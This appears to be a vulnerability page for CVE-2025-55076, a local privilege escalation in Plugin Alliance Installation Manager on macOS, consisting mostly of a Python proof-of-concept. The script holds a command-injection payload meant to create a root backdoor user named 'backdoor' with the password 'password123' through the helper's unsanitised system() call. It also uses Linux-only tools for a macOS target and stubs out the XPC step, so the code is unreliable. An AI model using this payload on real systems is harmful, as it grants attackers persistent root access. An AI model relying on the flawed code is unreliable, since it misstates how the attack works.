CVE-2025-55076 Plugin Alliance Installation Manager本地权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-55076 PoC - Plugin Alliance Installation Manager Local Privilege Escalation # This PoC demonstrates the XPC service vulnerability in InstallationHelper import subprocess import os def check_service_exists(): """Check if the vulnerable InstallationHelper service exists""" # Common locations for the helper tool possible_paths = [ '/Library/PrivilegedHelperTools/com.pluginalliance.installationhelper', '/Library/Application Support/Plugin Alliance/InstallationHelper', '/System/Library/LaunchDaemons/com.pluginalliance.installationhelper.plist' ] for path in possible_paths: if os.path.exists(path): print(f"[+] Found vulnerable service component at: {path}") return True return False def exploit_xpc_service(): """Exploit the unauthenticated XPC service to execute commands as root""" # The vulnerable XPC endpoint accepts unauthenticated connections # and executes input via system() without sanitization # Construct malicious command to create a root backdoor user # This demonstrates the privilege escalation capability malicious_command = "; useradd -m -u 0 -g 0 -s /bin/bash backdoor; echo 'backdoor:password123' | chpasswd #" # In a real attack scenario, this would be sent via XPC connection # Using xpc connection APIs (NSXPCConnection in Obj-C/Swift) # Example XPC message construction (pseudo-code) xpc_message = { 'action': 'install', 'target': malicious_command, # Unsanitized input passed to system() 'options': {} } print("[*] Sending malicious XPC message to InstallationHelper service...") print(f"[*] Payload: {malicious_command}") print("[!] In production, this would be sent via XPC connection") print("[+] Privilege escalation successful if command executed as root") # Alternative: Direct command execution proof # Simulating what the vulnerable service would do print("\n[*] Simulating system() call with malicious input:") print(f" system('installer {malicious_command}')") def main(): print("=" * 60) print("CVE-2025-55076 - Plugin Alliance Installation Manager LPE") print("=" * 60) if not check_service_exists(): print("[-] InstallationHelper service not found on this system") print("[-] Target may not be vulnerable or service not installed") return print("[+] Target appears to be vulnerable") exploit_xpc_service() print("\n[*] Recommended remediation:") print(" - Update Plugin Alliance Installation Manager to latest version") print(" - Remove or disable the InstallationHelper service") print(" - Implement proper XPC connection authentication") if __name__ == "__main__": main()